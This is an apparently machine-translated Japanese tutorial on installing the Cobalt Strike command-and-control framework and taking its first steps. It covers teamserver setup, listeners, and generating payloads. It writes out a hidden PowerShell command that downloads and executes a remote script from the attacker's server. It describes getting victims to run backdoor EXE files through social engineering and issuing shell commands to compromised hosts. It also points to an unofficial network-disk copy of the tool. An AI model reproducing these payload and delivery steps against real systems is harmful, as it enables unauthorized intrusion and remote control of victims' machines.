Cobalt Strike ツールのインストールと基本的な使用方法

1. Cobalt Strikeの紹介とダウンロード

1.1. Cobalt Strike の概要

  Cobalt Strike は、非常に使いやすい侵入テスト ツールです。さまざまなプロトコル ホスト オンライン手法を備え、特権昇格、資格情報のエクスポート、ポート転送、ソケット プロキシ、オフィス攻撃、ファイル バンドル、フィッシングなどのさまざまな機能を統合しています。 。同時に、Cobalt Strike は Mimikatz などの他の有名なツールも呼び出すことができるため、テクノロジー リーダーに広く愛されています。
  同時に、Cobalt Strike は、ポート転送、サービス スキャン、自動オーバーフロー、マルチモード ポート モニタリング、win exe トロイの木馬の生成、win dll トロイの木馬の生成、Java トロイの木馬の生成、オフィス マクロ ウイルスの生成、およびトロイの木馬のバンドルを統合しており、フィッシング攻撃には次のものが含まれます。サイトの複製、ターゲット情報の取得、Java の実行、自動ブラウザ攻撃など。
  また、Cobalt Strike は C/S アーキテクチャ商用侵入ソフトウェアを採用しており、複数人のチームワークに適しており、模擬対決やイントラネット侵入のための APT をシミュレートできます。

1.2. コバルトストライクをダウンロードする

  ここでは、公式 Web サイトからダウンロードするか、私が提供したネットワーク ディスクを使用してローカライズされていますが、もちろん、中国化は完全な中国化を保証するものではありません。
  ネットワークディスクではバージョン4.5が提供されていますが、4.7未満のバージョンには青チームから反撃される可能性があるXSSの脆弱性(CVE-2022-39197)が存在しており、使用する際には注意が必要です。4.7バージョンもございますが、未完成のため提供しておりません。
公式サイト：公式
サイト ネットワークディスク：ネットワークディスク解凍コード：bnft

2. コバルトストライクのインストール

2.1. Cobalt Strike のインストール

  Cobalt Strike をインストールする場合、サーバーとクライアントをインストールする必要があります。サーバーは Linux システムにインストールする必要がありますが、クライアントにはそれほど多くの要件はありません。
  同時に、サーバーとクライアントの両方に Java ランタイム環境をインストールする必要があります。ここでは、kail を使用してサーバーをインストールし、クライアントは Windows オペレーティング システムにインストールします。

2.1.1. Java 実行環境のインストール

  Cobalt Strike を起動するには JDK サポートが必要なため、Java 環境をインストールする必要があります。おそらく、以前に Burp Suite をインストールしているはずですが、当然、Java のバージョンは少なくとも java11 以降である必要があります。
  もちろん、サーバーが kail にインストールされている場合は、java をインストールする必要はなく、kail2022.4 には java17 が付属しています。
  ここでは動作環境をインストールしませんが、Baidu をよく検索してみてください。Burp Suite をインストールしたことがない場合、なぜ Cobalt Strike を学ぶのですか?
  ただし、以前に下位バージョンの Burp Suite がインストールされていた場合、使用される Java のバージョンは比較的低いことに注意してください。上位バージョンの Java を再度インストールすると、Burp Suite は使用できなくなります。ここでのテスト後、最初に下位バージョンの Java をアンインストールしてから、上位バージョンをインストールできます。はい、テストが成功したら、下位バージョンの Java をインストールするだけです。

2.1.2. サーバー

  Cobalt Strike を kail にインストールせずに他の Linux システムにインストールしたい場合は、Linux システムに Java をインストールする方法を自分で検索するのは非常に簡単です。
  サーバーとクライアントはパッケージを共有するので、サーバー用かクライアント用かを考える必要はありません。実は、これは主に最初に考えていた疑問です。サーバーであれクライアントであれ、提供されているのは? そのとき初めて、それが共有パッケージであることに気づきました。

2.1.2.1. kail に解凍します

  Baidu Netdisk 内の圧縮パッケージは解凍されて kail に送信されます。

2.1.2.2. 権限の付与

  ここでは、teamserver ファイルに権限を与える必要があります。ここでは、teamserver ファイルの実行権限を与えるだけです。

命令：chmod +x teamserver 

2.1.2.3. サーバーの実行

  ここでサーバーを実行するには、./teamserver IP アドレス パスワードを実行する必要があります。この IP アドレスは、0.0.0.0 や 127.0.0.1 ではなく、実際の IP アドレスである必要があることに注意してください。パスワードはチームサーバーのパスワードです。ここでは仮想マシンなので、IP アドレスは 192 セグメントです。通常の状況では、パブリック ネットワーク サーバーを購入して構築するのが最善です。

命令：./teamserver 192.168.10.20 123456

2.1.3. クライアント

  ここでのクライアントは、圧縮パッケージ内の cobaltstrike.exe を実行するだけで済みます。

2.1.3.1. 初期設定

  ポップアップ ウィンドウで、ホスト アドレスとパスワードを入力する必要があります。これらは、先ほどサーバーに設定したものと同じである必要があります。ポートはデフォルトでそのまま50050となっており、ここでユーザーが任意に設定して接続することができます。

2.1.3.2. 指紋認証

  ここでは接続しているので指紋認証はポップアップしませんでした. ここではインターネットから画像を見つけました, 主に改ざんを防ぐために SHA256 ハッシュ値が含まれています. Cobalt Strike サーバーによって毎回生成される指紋が作成されます. 。

2.1.3.3. 操作の成功

  このインターフェイスが表示されたら、正常に実行されたことがわかります。

3.コバルトストライクの基本的な使い方

3.1. モニタリング

  ここでの監視の機能は、生成されたペイロードがオンラインになるタイミングを監視できることです。

3.1.1. モニターの追加

  ここでは中国語については説明しません。オリジナル バージョンで紹介しましょう。メニュー バーの Cobalt Strike から Listeners パネルに入り、下の [追加] をクリックしてモニタリングを追加します。

3.1.2. 設定監視

  名前、リスナーの種類、チームサーバーのIPアドレス、リスニングポートを入力し、「保存」ボタンをクリックして設定を保存します。

3.2. ペイロードの生成

3.2.1. http ペイロードの生成

  [攻撃] メニューを選択し、次に [Web ドライブバイ] を選択し、[スクリプト化された Web 配信] オプションを選択します。

3.2.2. 設定監視

  ここでは、対応する監視を設定する必要があります。設定が完了したら、クリックして実行できます。

3.2.3. ペイロードのコピー

  「実行」をクリックすると、ウィンドウがポップアップします。ここで、Cobalt Strike によって生成されたペイロードを完全にコピーする必要があります。URL はファイル パスであり、ターゲット (被害者) がこのアドレスとポートを介して悪意のあるスクリプトをダウンロードできるようになります。

命令：powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.10.20:80/a'))"

3.2.4. アクセスURL

  ここでは、被害者のホストを使用してこの URL にアクセスします。ここでは、テストに仮想マシンを使用します。実際、アクセス後は、PowerShell コードの一部になります。

URL：http://192.168.10.20/a

3.2.5. ペイロードの実行

  ターゲット ホストでペイロードを実行する ここでの私の理解は、コマンドを使用してバックドア埋め込み用の URL 内のコードを読み取らせることです。
  実行されたコマンドは、プロンプトを表示したばかりのコマンドです。

3.3. オンラインにする

  実行後、ページ上でマシンがオンラインであることがわかります。このページには、外部ネットワークIP、内部ネットワークIP、リスナー、ユーザー名、マシン名、権限、BeaconプロセスのPID、ハートビート時間などの情報を表示できます。

3.3.1. テスト

  ここで、ターゲット ホストを右クリックして、[対話] をクリックして一部のコマンドを実行するなど、いくつかのショートカット操作を実行できます。なお、実行されるコマンドの形式はシェルコマンドです。

3.3.2. コマンドテスト

  ここで現在のユーザーをクエリします。ここで、各 Beacon のデフォルトの接続時間は 60 秒であることに注意してください。再度接続した後、コマンドを実行するタスクが発行され、コマンドの実行結果が正常にエコーされます。つまり、コマンドは通常、表示されるまでに時間がかかり、すぐには表示されません。

命令：shell whoami

3.4. その他のバックドアの生成

  もちろん、一部の .exe ファイルをここで生成し、相手のサーバーに入れて実行することもできます。ここで簡単なデモンストレーションを行います。

3.4.1. .exe ファイルをダウンロードする

  ここで、ターゲット ホストにファイルをダウンロードするように求めるアクセス URL を設定でき、ダウンロード後にファイルが実行されます。

3.4.1.1. ペイロードの生成

  先ほどの位置をクリックし、種類をexeに調整し、リスナーを先ほどのリスナーに設定するだけです。

3.4.1.2. アクセスURL

  ここではそれを生成しました。生成された URL は http:192.168.10.20/a.exe です。生成されたばかりの場合は、ポップアップの URL をコピーし、ターゲット マシンにアクセスしてダウンロードさせるだけです。

3.4.1.3. オンラインにする

  同様の操作を行うと、ホストがオンラインであることがインターフェースに表示されます。

3.4.2. .exe ファイルの生成

  ここでの .exe ファイルは、実行のためにターゲット マシンにバックドアを送信する必要があり、これにはソーシャル ワーカーが必要です。

3.4.2.1. ファイルの生成

  ここでの生成パスは異なります。私が言及している相手を見てください、英語のことは忘れてください。

3.4.2.2. リスナーの設定

  ここのリスナーは今もさっきのリスナーです。「生成」をクリックすると、保存するパスを選択するよう求められますが、ここでも生成したので再度生成しません。

3.4.2.3. exeファイルを実行する

  ここではターゲットマシン上でファイルを実行する必要がありますが、ファイル名に関してはランダムのようですが、もちろん変更することもできます。

3.4.2.4. オンラインにする

  同様に、ここで実行すると、ホストがオンラインであるとインターフェイスに表示されます。

3.5. 概要

  ここではいくつかの簡単な使用法を紹介します。より詳細なチュートリアルは後ほど公開されます。